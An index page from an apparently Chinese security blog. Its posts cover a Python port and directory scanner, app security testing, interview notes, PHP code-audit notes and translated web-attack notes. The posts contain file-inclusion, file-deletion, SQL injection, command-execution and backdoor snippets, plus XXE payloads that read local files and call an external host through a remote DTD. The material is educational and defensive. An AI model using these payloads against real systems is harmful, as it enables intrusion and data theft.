Keep and carry on.

实验楼:简书

http://www.jianshu.com/p/5b3f45f3af36

https://www.shiyanlou.com/courses/717

通过20个由实验楼和信息安全工程师共同制作的Web应用攻击实验,使用渗透测试技术教大家如何去攻击一家网站,并针对找出的跨站脚本XSS、SQL注入、文件包含等安全漏洞,都提供了如何避免的解决方案。完全在线实验,讨论区工程师答疑,详细步骤截图,漏洞原理和攻击代码讲解。

Read More
post @ 2017-10-26

生活中的懒人

在测试网站运行状态的时候,为了免去一些重复的不必要操作,所以想着能不能用Python脚本来代劳,答案当然是肯定的,好了来说下主要思路吧!

Github

用到的Python库

requestsulib32

Run Enveronment

python 36

模块

scan_port


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# coding: utf-8
import socket
from multiprocessing.dummy import Pool as ThreadPool
def main():
global host_ip
host = input("Enter a host to scan:")
exit_port = int(input("Enter exit_port:"))
processes_num = int(input("Enter processes num:"))
host_ip = socket.gethostbyname(host)
ports = []
print ('-' * 60)
print ('Please wait, scanning host ', host_ip)
print ('-' * 60)
socket.setdefaulttimeout(0.5)
for i in range(1,exit_port):
ports.append(i)
pool = ThreadPool(processes = processes_num)
results = pool.map(scan_port,ports)
pool.close()
pool.join()
print ('port scan end')
def scan_port(port):
try:
s = socket.socket(2,1)
res = s.connect_ex((host_ip,port))
if res == 0:
print ('Port {}: OPEN'.format(port))
s.close()
except Exception as e:
print (str(e.message))
if __name__ == '__main__':
main()

scan_content


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from multiprocessing.dummy import Pool as ThreadPool
def scan_content(url):
r = requests.get(url)
print(str(r.status_code)+' '+url+'\n')
def read_file(file,url):
global content
content = []
for line in file:
tl = line.rstrip('\n')
content.append(url+tl)
del content[-0]
return content
def main():
url = input("Please enter url:")
print ('-' * 60)
try:
file = open ('..//map//func//dir.txt','r',encoding='utf-8')
#file = open ('dir.txt',encoding='utf-8')
except IOError:
print ('open file(dir.txt) fail!')
else:
if (url.strip()==''):
url = 'https://www.baidu.com'
read_file(file,url)
pool = ThreadPool(2)
pool.map(scan_content,content)
pool.close()
pool.join()
#scan_content(content)
else:
read_file(file,url)
pool = ThreadPool(2)
pool.map(scan_content,content)
pool.close()
pool.join()
#scan_content(content)
print('scan end')
if __name__ == '__main__':
main()

main()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from func import scan_content
from func import scan_ports
if __name__ == '__main__':
print ('welcome to the scanner of xu')
print ('*' * 60+'\n1.scan for content')
print ('2.scan for ports')
while(1):
temp = input('*' * 60+'\nenter the function num: ')
print ('*' * 60)
if (temp=='1'):
scan_content.main()
continue
elif (temp=='2'):
scan_ports.main()
print('ports')
continue
elif (temp=='exit'):
exit()
else:
print('Enter Error!')
continue

测试效果

哈哈,这下省事多了,还是python大法好啊!这里以百度为栗子:

ScanResultExam

Read More
post @ 2017-10-25
比较常见的App漏洞基本都包括在这个表内

Read More
post @ 2017-10-25

静态分析:

利用apktool、dex2jar、jd-gui、smali2dex等静态分析工具对应用进行反编译,并对反编译后的java文件、xml文件等文件静态扫描分析,通过关键词搜索等静态方式将具有安全隐患的代码进行摘录并存入到检测平台后台,为后续的安全检测报告提供数据依据。

动态分析:

对应用软件安装、运行过程的行为监测和分析。检测的方式包括沙箱模型和虚拟机方式。虚拟机方式通过建立与Android手机终端软件运行环境几乎一样的虚拟执行环境,手机应用软件在其中独立运行,从外界观察应用程序的执行过程和动态,进而记录应用程序可能表现出来的恶意行为。

人工检测:

专业安全人员对待检测应用,对其进行安装、运行和试用,通过在试用过程中,逐步掌握应用的特点,并通过专业经验,来圈定检测重点。人工专业检测在涵盖基础检测和深度检测的全部检测项的同时,兼顾侧重点检测,给予应用更全面、更专业、更贴合应用的量身打造的检测服务。

Read More
post @ 2017-10-24

0X00:谈谈感受

问的问题都很基础,基本是围绕着自己简历所写而展开;
考查的知识点都很细致;重心应该是知识的运用能力及实战能力

0X01:问到的问题


你想应聘的岗位?校招聘实习还是全职?


校招实习

你现在在实习,能说下你实习主要做的事情?


在CEC做安全分析,平常主要工作是对一些**的出口流量进行监测分析,主要的分析工具是Wireshark,有时会做下渗透测试

那基于流量分析的Windows口令爆破,您有思路?


由于对Windows口令爆破不了解,没有思路

那你有过安全开发的相关经验?


没有安全开发经验,说了下自己之前的开发经验,和网站、QWQ

看你所喜欢的语言PHP和python,有什么具体的相关使用经验?


之前有用过PHP做网站开发,用的是Condoform的开源框架,用python写过一些小的脚本

那能详细说下php文件包含的原理


fileter,input

文件包含的函数?


phpinfo()

你用python都写过那些小程序?怎么实现的


Python抢单的小程序,爬虫脚本

你平常可能对Web接触比较多,你最擅长的有什么?


XSS,Sqli

你提到了Javascript,那么你听说过VBscript的?那你觉得一个网站不能插入javascript,但是可以插入VBScript你觉得这样可以实施XSS攻击?


XSS 主要是依靠了Html的渲染,可以实施XSS

能详细说下XSS的一次具体实施过程?越详细越好


大致的说了下流程,但是脚本的构建没解释清楚

你看过王松的Tools,XSS的攻击那篇文章,你知道具体是怎么实现的?
QWQ,居然给忘记了

你都复现分析过那些CVE漏洞?


Apache strust2

你能说下漏洞原理?
现在才想起来这是一个远程代码执行漏洞,自己居然还研究过,莫名想哭

你有拿过一些Webshell,那你知道怎么查看所拿到的webshell的权限?


Who am i可以查看权限

那你知道为什么有时候权限是Root,有时候是guest,这些权限是存在那儿的?


说了admin,systerm,最后才知道原来是Webshell,有个容器专门存放

我没什么问题了,你有什么想问的?


问了下工作内容,和部门<360应急安全响应中心>

0x02:总结


自己基础还是不够扎实,加油!多思考原理,多动手实践

>

Read More
post @ 2017-10-22

代码审计入门总结

#0x00 简介

之前看了seay写的PHP代码审计的书,全部浏览了一遍,作为一个代码审计小白,
希望向一些和我一样的小白的人提供一下我的收获,以及一个整体的框架和常见漏洞函数。
这也算是这本书的一个学习笔记吧,可以结合我捋顺的思路来看这本书: )

#0x01 整体

学习代码审计的目标是能够独立完成对一个CMS的代码安全监测。
其通用的思路有:

通读全文代码,从功能函数代码开始阅读,
例如
include文件夹下的common_fun.php,或者有类似关键字的文件。
看配置文件,带有config关键字的文件,找到mysql.class.php文件的

connect()函数,查看在数据
库连接时是否出现漏洞。
继续跟读首页文件,index.php,了解程序运作时调用了哪些函数和文件
以index.php文件作为标线,一层一层去扩展阅读所包含的文件,
了解其功能,之后进入其功能文件夹的首页文件,进行扩展阅读。

#0x02 各种洞洞

##a.文件操作漏洞

能不用文件名参数就不用 尽量不要让用户可控
平行用户的权限 管理员的权限 操作权限
禁止传入参数类似于这种 .. ,/,\ 检查传入的参数,做出限制,停止程序往下执行

###1.文件包含漏洞:

(1) 本地文件包含:

一般存在于模块加载,模板加载,cache调用
包括函数:include()/include_once(),require()/require_once()寻找可控变量

(2) 远程文件包含:

前提条件:allow_url_include = on
出现频率不如本地包含

(3) 文件包含截断:

%00截断(php版本小于5.3)
问号截断(问号后面相当于请求的参数,伪截断)
英文(.) 反斜杠(/) 截断

###2.文件读取(下载)漏洞:

搜索关键函数:

1
file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

###3.文件上传漏洞:

搜索关键函数:

move_uploaded_file() 接着看调用这个函数的代码是否存在为限制上传格式
或者可以绕过。

(1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用。

(2) 黑名单扩展名过滤:

限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。
扩展名可绕过:

不被允许的文件格式.php,但是我们可以上传文件名为1.php(注意后面有一个空格)

(3) 文件头 content-type验证绕过:

getimagesize()函数:验证文件头只要为GIF89a,就会返回真。
限制$_FILES["file"]["type"]的值 就是人为限制content-type为可控变量。

(4) 防范:

使用in_array()或 利用三等于===对比扩展名。
保存上传文件是重命名,规则采用时间戳拼接随机数:md5(time() + rand(1,1000))。

###4.文件删除漏洞:

搜索关键函数:

unlink()利用回溯变量的方式* 老版本下的session_destroy(),可以删除文件,现已基本被修复。

Metinfo的任意文件删除漏洞:

$action = delete即可删除.sql的文件,如果文件不是sql直接删除提交的文件名

target.com/recovery.php?&action=delete&filename=../../index.php

##b.代码执行漏洞

###1.代码执行函数:

搜索关键函数:eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), array_map()

(1) preg_replace()函数:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

当$pattern处存在e修饰符时,$replacement 会被当做php代码执行。

(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed $…):

第一个参数为回调函数,第二个参数是回调函数的参数

(3)eval()和assert():

当assert()的参数为字符串时 可执行PHP代码

【区分】:

eval(“ phpinfo(); “);【√】 eval(“ phpinfo() “);【X】
assert(“ phpinfo(); “);【√】 assert(“ phpinfo() “);【√】

###2.动态函数执行:

动态函数后门:

<?php $_GET‘a’; ?>

###3.命令执行函数:

搜索关键函数:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

(1) popen和proc_open():

<?php
popen( ‘whoami >> /Users/bingdaojueai/Desktop/1.txt’, ‘r’ );
?>

所在路径就会出现一个1.txt 里面的内容为命令执行后的结果

(2) 反引号命令执行:

echo whoami; 直接就可以执行命令
双引号和单引号的区别:

$a = 1
echo “ $a “ output:1
echo ‘ $a ‘ output:$a

双引号时,可以直接解析变量,造成代码执行漏洞,过狗绕过。
c.变量覆盖漏洞
1.函数使用不当:

1
2
3
int extract( array &amp;$var_array , int $extract_type = EXTR_OVERWRITE , string $prefix = null )
void parse_str( string $str , array &amp;$arr )
bool import_request_variables( string $type , string $prefix )

2.$$变量覆盖:

##d.逻辑漏洞

需要思考的问题:

程序是否可以重复安装
修改密码是否存在越权修改其他用户密码
找回密码验证码是否可以暴力破解
cookie是否可以预测 验证存在绕过

###1.等于与存在判断绕过:

(1) in_array(): 比较之前会自动转换类型

(2)is_numeric():当传入参数为hex时 直接通过并返回true 并且MYSQL可以直接使用hex编码代替字符串明文 可以二次注入 并且可能造成XSS漏洞

(3)双等于==和三等于===:

双等于会在变量比较时,进行类转换,与in_array()是一样的问题。
三等于是type和value的双重比较,相比之下更加安全。

###2.账户体系中的越权问题:

水平越权:A用户能够以B用户的身份,进行B用户的全部权限操作。前提A用户和B用户拥有相同的权限。
垂直越权:A用户能够以C用户的身份,进行C用户的全部权限操作,前提C用户比A用户拥有更高的权限。

(1) 未exit/return/die:

1
2
3
4
5
6
7
<?php
if(file_exists('install.lock)) {
header("Location:xxx.com");
//exit();
}
echo "test";
?>

test 依旧会被输出,替换成安装流程,PHP依旧会进行。

(2) 支付漏洞:

客户端修改单价
客户端修改总价和购买数量
服务端未校验严格
重复发包利用时间:
1
2
3
4
5
6
7
<?php
if (check_money($price)) {
//Do something
//花费几秒
$money = $money - $price;
}
?>

可能导致漏洞函数: str_replace()

1
2
3
4
5
6
7
8
<?php
$a = addslashes($_GET['a']);
$b = addslashes($_GET['b']);
echo "$a<br/>$b<br/>";
$c = str_replace($a,'',$b);
echo trim($c);
?>

##e.会话认证漏洞

COOKIE验证:没有使用SESSION验证,将信息直接保存在COOKIE中
    找到传入sql语句的参数的传递过程 回溯变量到最原始的函数 看它保存在cookie的算法 是否可逆
    和MD5比起 sha1更安全 解密sha1的网站更少
    限制一个用户只能同时在一个IP上登录
审计代码时,查看登录处代码

##f.二次漏洞

###1.类型:

不是逻辑问题,是可信问题。
业务逻辑复杂度,与二次漏洞触发率 成正比。
购物车 / 订单 / 引用数据 / 文章编辑 / 草稿 ==> SQL注入 / XSS

###2.技巧:

(1) 钻GPC等转义的空子:

不受GPC保护的$_SERVER变量:PHP5以后,$_SERVER取到的header不再受GPC影响,就算开启特殊字符也不会被转义,存在注入
编码问题转换:

GBK的宽字节注入:%df ' 单引号自动被转义成(%5c),同时%df与%5c连在一起组合成運字单引号依然在,成功闭合。【php与mysql交互过程中发生的编码转换问题】
mb_convert_encoding():
1
2
3
4
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<?php
$sql = "WHERE id='".urldecode("-1%df%5c' == ")."'"; print_r(mb_convert_encoding($sql,"UTF-8","GBK"));
?>

(2)字符串问题:

利用报错,找到敏感信息
字符串截断:

%00空字符截断:【PHP版本小于5.3】
1
2
3
4
5
<?php
include($_GET['file'].'.php');
//1.php?file=2.txt%00
//2.txt里面是 &lt;?php phpinfo()?&gt;
?>
iconv函数字符编码转换截断:【对PHP版本有要求】

chr(128)—chr(255)可以截断字符

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = '1'.chr(130).'2’;
echo $a."&lt;br&gt;"; //1�2
echo iconv("UTF-8", "GBK", $a); //1
?>
php:// 输入输出流:
<?php
include($_GET[‘file']);
?>

1.php?file=php://filter/convert.base64-encode(内容被base64编码)/resource=example.txt(远程文件)

php代码解析标签:
    <script language="php">…</script>
    <?…?>:php3.0.4版本后可用
    <%…%>:asp标签,需要asp_tags=on,默认是off
正则表达式:
    没有使用^ 和 $ 限定匹配开始位置:
    特殊字符未转义:
报错注入:

windows findfirstfile 利用:若要搜索12345.txt文件,可使用1<<来代替或者12<<,不可以单独使用一个"<"或">",因为单独一个只是代表了一个字符,两个代表多个字符。

#0x03 End
自己走上安全这条路既是兴趣也是偶然,选择白盒完全是因为喜欢php,
毕竟是初识代码审计,seay的书确实帮了我不少,希望这篇文章能够帮助
像我一样小白的人,花了两天总结的,如果有什么缺陷也等着大家指出。
不会开发的谈审计都是耍流氓!:)

Read More
post @ 2017-10-19

OWASP Top 10 2017

开放式Web应用程序安全项目

0x00背景说明

OWASP项目最具权威的就是其”十大安全漏洞列表”。这个列表总结了Web应用程序最可能、最常见、最危险的十大漏洞,可以帮助IT公司和开发团队规范应用程序开发流程和测试流程,提高Web产品的安全性。

针对每个安全隐患,OWASP Top 10将提供:

描述

示例漏洞

示例攻击

防范指南

OWASP参考源及其他相关资源

开源web应用安全项目(OWASP)是一个开放的社区,致力于帮助各企业组织开发、购买和维护可信任的应用程序。在OWASP,您可以找到以下免费和开源的信息:

应用安全工具和标准

关于应用安全测试、安全代码开发和安全代码审查方面的全面书籍

标准的安全控制和安全库

全球各地分会

尖端研究

专业的全球会议

邮件列表

更多信息,请访问:http://www.owasp.org


2017 OWASP Top10与2013年的列表相比,最大的不同点在于新出现的两种漏洞分类:

  • “不充足的攻击检测与预防”
  • “未受保护的API”

    新分类“不充足的攻击检测与预防”将被放置在第7位。为了给这个分类腾出位置,OWASP想要合并当前的第四项“不安全的直接对象引用”和第七项“函数级访问控制缺失”,将两者归入“失效的访问控制”,而“失效的访问控制”则是2004列表中原有的分类。

以下是OWASP提供的新分类描述:

“不充足的攻击检测与预防”:“大多数应用和API缺乏基本的能力,来检测、预防和响应人工和自动化攻击。攻击防护远不仅限于基本的输入验证,它还包含自动检测、记录、响应甚至阻止利用行为。应用程序所有者还需能快速部署补丁以防止攻击。”

“未受保护的API”:“现代的应用常常涉及富客户端应用程序和API,比如浏览器和移动App中的Java,连接到其他某种API(SOAP/XML、REST/JSON、RPC、GWT等)。这些APT通常未受保护且存在多种漏洞。

#OWASP Top 10 2017 rc1全文翻译

滴滴安全DSRC翻译了候选版(非正式发布版)以便于大家快速阅读,

完成版报告下载链接: http://pan.baidu.com/s/1bo9fs55 密码: c296

Read More
post @ 2017-10-19

常见Web攻击

HTML注入

HTML 注入向站点和开发者展示了漏洞,因为他可以用于误导用户,并且欺骗它们来提交一
些敏感信息,或者浏览恶意网站。就像钓鱼攻击那样。

CRLF注入

CRLF 注入是一类漏洞,在用户设法向应用插入 CRLF 时出现。在多种互联网协议中,包括
HTML,CRLF 字符表示了行的末尾,通常表示为 \r\n ,编码后是 %0D%0A 。在和 HTTP 请
求或响应头组合时,这可以用于表示一行的结束,并且可能导致不同的漏洞,包括 HTTP 请
求走私和 HTTP 响应分割。
对 HTTP 请求走私而言,它通常在 HTTP 请求传给服务器,服务器处理它并传给另一个服务
器时发生,例如代理或者防火墙。这一类型的漏洞可以导致:

  • 缓存污染,它是一种场景,攻击者可以修改缓冲中的条目,并托管恶意页面(即包含

    JavaScript)而不是合理的页面。

  • 防火墙绕过,它是一种场景,请求被构造,用于避免安全检查,通常涉及 CRLF 和过大

    的请求正文。

  • 请求劫持:它是一种场景,攻击者恶意盗取 HTTPOnly 的 Cookie,以及 HTTP 验证信

    息。这类似于 XSS,但是不需要攻击者和客户端之间的交互。

跨站请求伪造

跨站请求伪造,或 CSRF 攻击,在恶意网站、电子邮件、即使消息、应用以及其它,使用户
的 Web 浏览器执行其它站点上的一些操作,并且用户已经授权或登录了该站点时发生。这通
常会在用户不知道操作已经执行的情况下发生。
CSRF 攻击的影响取决于收到操作的站点。这里是一个例子:

  1. Bob 登录了它的银行账户,执行了一些操作,但是没有登出。
  2. Bob 检查了它的邮箱,并点击了一个陌生站点的链接。
  3. 陌生站点向 Bob 银行站点发送请求来进行转账,并传递第一步中,保存 Bob 银行会话的
    Cookie 信息。
  4. Bob 的银行站点收到了来自陌生(恶意)站点的请求,没有使用 CSRF Token 的情况下
    处理了转账。

应用逻辑漏洞

应用逻辑漏洞不同于其他我们讨论过的类型。虽然 HTML 注入、HTML 参数污染和 XSS 都涉

及到提交一些类型的潜在恶意输入,应用落地及漏洞实际上涉及到操纵场景和利用 Web APP

代码中的 Bug。

这一类型攻击的一个值得注意的例子是 Egor Homakov 对 Github 的渗透,Github 使用 RoR

编写。如果你不熟悉 Rails,他是一个非常流行的 Web 框架,在开发 Web 站点时,它可以处

理很多繁杂的东西。

Shopify 管理员权限绕过

星巴克竞态条件

Binary.com 权限提升

HackerOne 信号操作

绕过 Gitlab 的双因素认证

重要结论

1
2
3
4
5
6
7
8
9
10
有多个重要结论:
1. 不要低估你的能力,以及开发者犯错的可能性。HackerOne 是个优秀的团队,拥有
优秀的安全研究员。但是人们都会犯错。挑战你的假设吧。
2. 不要在首次尝试之后就放弃。当我发现它的时候,浏览器每个 Bucket 都不可用,并
且我几乎离开了。但是之后我尝试写入文件,它成功了。
3. 所有的东西都在于只是。如果你知道存在了哪种漏洞,你就知道了要寻找以及测试
什么。读这本书就是一个良好的开始。
4. 我之前说过,又再说一遍,一个攻击面要好于站点,它也是公司所使用的的服务。
要跳出思维定式。

总结
应用逻辑漏洞不一定总是涉及代码。反之,利用它们通产更需要敏锐的观察力,以及跳出思
维定式。始终留意其它站点可能使用的工具和服务,因为它们代表了新的攻击向量。这包括
站点所使用的来渲染内容的 JavaScript 库。
发现它们或多或少都需要代理拦截器,在将其发送到你所利用的站点之前,它能让你玩转一
些值。尝试修改任何值,只要它们和识别你的账户相关。这可能包含建立两个不同的账户,
以便你有两套有效的凭据,这可能有帮助。同时寻找隐藏或不常用的终端,它可以用于利用
无意中访问的功能。
任何时候一些类型的事务发生时,你也应该留意。始终有一些机会,其中开发者没有在数据
库级别处理竞态条件(特别是 NoSQL)。也就是说,它们的代码可能会阻止你,但是如果你
让代码执行够快,比如几乎同时完成,你就能发现静态条件。确保你多次测试了这个领域内
的任何东西,因为每次尝试不一定都发生,就像星巴克的案例那样。
最后,要留意新的功能 – 它通常为测试展示了新的区域。并且如果可能的话,自动化你的测
试来更好利用你的时间。

跨站脚本攻击XSS

跨站脚本,或者 XSS,涉及到站定包含非预期的 JavaScript 脚本代码,它随后传给用于,用
户在浏览器中执行了该代码。

  • 反射型 XSS:这些攻击并不是持久的,意思是 XSS 传递后通过简单的请求和响应执行。
  • 存储型 XSS:这些攻击是持久的,或已保存,之后在页面加载时执行给无意识的用户。
  • Self XSS:这些攻击也不是持久的,通常作为戏弄用户的一部分,使它们自己执行XSS。

重要结论

1
2
3
4
5
6
7
8
9
10
11
测试任何东西,特别要关注一些场景,其中你所输入的文本渲染给了你。测试来判断你
是否可以包含 HTML 或者 JavaScript,来观察站点如何处理它。同时尝试编码输入,就
像在 HTML 注入一章中描述的那样。
XSS 漏洞并不需要很复杂。这个漏洞是你能找到的最基本的东西 - 一个简单的输入文本
字段,这个漏洞并不处理用户输入。它在 2015 年 12 月 21 日发现,并获得了 $500 的
奖金。它所需要的所有东西,就是黑客的思维。

总结
XSS 漏洞对站点开发者展现了真实的风险,并且仍然在站点上流行,通常显而易见。通常简
单提交 JavaScript alert 方法的调用, alert('test') ,你可以检查输入字段是否存在漏
洞。此外,你可以将它与 HTML 注入组合,并提交 ASCII 编码的字符来观察文本是否被渲染
和解释。
在搜索 XSS 漏洞时,这里是要记住的一些事情:

  1. 测试任何东西
    无论你在浏览什么站点以及什么时候浏览,总是要保持挖掘!不要觉得站点太大或者太
    复杂,而没有漏洞。机会正在注视着你并请求你的测试,就像 wholesale.shopify.com 那
    样。Google Tagmanager 存储型 XSS 漏洞就是寻找替代方案来向站点添加标签的结果。
  2. 漏洞可能存在于任何表单值
    例如,Shopify 的礼品卡站点上的漏洞,通过利用和上传文件相关的名称字段来时间,并
    不是实际的文件字段本身。
  3. 总是在测试时使用 HTML 代理
    当你尝试提交来自网站自身的恶意值时,当站点的 JavaScript 检查出你的非法值时,你
    可能会碰到假阳性。不要浪费你的时间。通过浏览器提供合法值,之后使用你的代理修
    改这些值来执行 JavaScript 并且提交。
    译者注:对于所有前端(包括移动和桌面)渗透,都应该这样。就算不存在 XSS,
    也有可能挖到绕过和越权漏洞。
  4. XSS 漏洞发生在渲染的时候
    由于 XSS 在浏览器渲染文本时发生,要确保复查了站点的所有地方,其中使用了你的输
    入值。逆天家的 JavaScript 可能不会立即渲染,但是会出现在后续的页面中。这非常麻
    烦,但是你要留意站点何时过滤输入,以及转义输出。如果是前者,寻找办法来绕过输
    入过滤器,因为开发者可能会犯懒,并且不会转义渲染的输入。
  5. 测试非预期的值
    不要总是提供预期类型的值。当 HTML 雅虎邮件的漏洞被发现时,提供了非预期的
    HTML IMG 属性。要跳出思维定式,思考开发者要寻找什么,并且之后尝试提供一些不
    匹配这些预期的东西。这包含寻找新的方式来执行潜在的 JavaScript,例如绕过 Google
    图片的 onmousemove 事件。

SQL注入:

SQLi 允许黑客将 SQL 语句注入到目标中并访问它们的数据库。它的潜力是
无穷的,通常使其成为高回报的漏洞,例如,攻击者能够执行所有或一些 CURD 操作(创
建、读取、更新、删除)来获取数据库信息。攻击者甚至能够完成远程命令执行。
SQLi 攻击通常是未转义输入的结果,输入被传给站点,并用作数据库查询的一部分。它的一
个例子是:

1
2
$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = $name";

这里,来自用户输入的传入值直接被插入到了数据库查询中。如果用户输入了 test’ or
1=1 ,查询就会返回第一条记录,其中 name = test or 1=1 ,所以为第一行。现在在其他情况
下,你可能会得到:

1
$query = "SELECT * FROM users WHERE (name = $name AND password = 12345");

这里,如果你使用了相同的载荷,你的语句最后会变成:

1
$query = "SELECT * FROM users WHERE (name = 'test' OR 1=1 AND password = 12345");

所以这里,查询会表现得有些不同(至少是 MySQL)。我们会获取所有记录,其中名称
是 test ,或者密码是 12345 。很显然我们没有完成搜索数据库第一条记录的目标。因此,我
们需要忽略密码参数,并能够使用注释来实现, test' or 1=1;-- 。这里,我们所做的事情,
就是添加一个分号来合理结束 SQL 语句,并且立即添加两个短横线(和一个空格)来把后面
的所有东西标记为注释。因此不会被求职。它的结果会和我们初始的例子一样。

开放重定向漏洞

根据 OWASP,开放重定向出现在应用接受参数并将用户重定向到该参数值,并且没有对该
值进行任何校验的时候。
这个漏洞用于钓鱼攻击,便于让用户无意中浏览恶意站点,滥用给定站点的信任并将用户引
导到另一个站点,恶意站点作为重定向目的地,可以将其准备成合法站点的样子,并尝试收
集个人或敏感信息。

1
2
3
重要结论
我这里再说一遍,不是所有漏洞都很复杂。这里的开放重定向只需要将重定向参数修改
为外部站点。

缓冲区溢出

缓冲区溢出是一个场景,其中程序向缓冲区或内容区域写入数据,写入的数据比实际分配的
区域要多。使用冰格来考虑的话,你可能拥有 12 个空间,但是只想要创建 10 个。在填充格
子的时候,你添加了过多的水,填充了 11 个位置而不是 10 个。你就溢出了冰格的缓存区。
缓冲区溢出在最好情况下,会导致古怪的程序行为,最坏情况下,会产生严重的安全漏洞。
这里的原因是,使用缓冲区移除,漏洞程序就开始使用非预期数据覆盖安全数据,之后会调
用它们。如果这些发生了,覆盖的代码会是和程序的预期完全不同的东西,这会产生错误。
或者,恶意用户能够使用移除来写入并执行恶意代码。

代码执行

远程代码执行是指注入由漏洞应用解释和执行的代码。这通常由用户提交输入,应用使用它
而没有任何类型的处理或验证而导致。

看一下这行代码:

1
2
3
var = _GET['page'];
eval($var);

这里,漏洞应用可能使用 URL index.php?page=1 ,但是,如果用于输入了 index.php?
page=1;phpinfo() ,应用就会执行 phpinfo 函数,并返回其内容。
与之类似,远程代码执行有时用于指代命令注入,OWASP 区分了这两点。使用命令驻入,
根据 OWASP,漏洞应用在主机操作系统上执行任何命令。同样,这也由不合理处理和验证
用户输入导致,这会导致用户输入传递给操作系统的命令。

XML 外部实体注入

XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程序处理
输入中外部实体的包含方式。为了完全理解理解如何利用,以及他的潜力。我觉得我们最好
首先理解什么是 XML 和外部实体。
元语言是用于描述其它语言的语言,这就是 XML。它在 HTML 之后开发,来弥补 HTML 的不
足。HTML 用于定义数据的展示,专注于它应该是什么样子。房子,XML 用于定义数据如何
被组织。

1
2
3
4
5
6
重要结论
这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接
受 .docx 、 .xlsx 、 .pptx ,以及其它的站点。向我之前提到过的那样,有时候你不会
直接从 XXE 收到响应,这个示例展示了如何建立服务器来接受请求,它展示了 XXE。
此外,像我们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公
司周旋非常重要。尊重他们的决策,同时也解释为什么这可能是个漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)

最开始,它从站点下载了文件来判断 XML 结构,这里是一个 .gpx 文件,并插入
了 *<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>; 。
之后它调用了 .gpx 文件中 13 行的记录名称中的实体。并不是必须的,如果它能够服务 /etc/passwd 文件,并将内容渲染在 元素中。

这产生了发往服务器的 HTTP GET 请求, GET 144.76.194.66 /XXE/ 10/29/15 1:02PM
Java/1.7.0_51 。这有两个原因值得注意,首先,通过使用一个概念调用的简单证明,David
能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次,David 使用现存的 XML
文件,以便时它的内容满足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并不是必须的,如果它能够服务 /etc/passwd 文件,并将内容渲染在 元素中。在确认 Wikiloc 会生成外部 HTTP 请求后,唯一的疑问就是,是否它能够读取本地文件。所以,它修改了注入的 XML,来让 Wikiloc 向他发送它们的 /etc/passwd 文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&send;</name>
(...)

总结
XXE 表示一类有巨大潜力的有趣的攻击向量。有几种方式来完成,就像我们之前看到的那
样,它能够让漏洞应用打印自己的 /etc/passwd 文件,以 /etc/passwd 文件来调用远程服务
器,以及请求远程 DTD 文件,它让解析器来使用 /etc/passwd 文件调用服务器。
作为一个黑客,要留意文件上传,特别是那些接受一些 XML 类型的上传,应该始终测试它们
是否存在 XXE 漏洞。

模板注入

模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工
具。换句话说,除了拥有接收 HTTP 请求的代码,从数据库查询必需的数据并且之后将其在
单个文件中将其展示给用户之外,模板引擎从计算它的剩余代码中分离了数据的展示(此
外,流行的框架和内容管理系统也会从查询中分离 HTTP 请求)。

Uber Angular 模板注入

Rails 动态渲染器

1
2
3
4
5
总结
搜索漏洞时,尝试并识别底层的技术(框架、前端渲染引擎、以及其他)是个不错的理念,
以便发现可能的攻击向量。模板引擎的不同变种,使我们难于准确地说,什么适用于所有环
境,但是,知道用了什么技术会有帮助。要留意一些机会,其中你可控制的文本在页面上,
或者一些其他地方(例如邮件)渲染给你。

服务端请求伪造

服务端请求伪造,或者 SSRF,是一种类型,它允许攻击者使用目标服务器来代表攻击者自
己执行 HTTP 请求。这和 CSRF 类似,因为两个漏洞都执行了 HTTP 请求,而不被受害者察
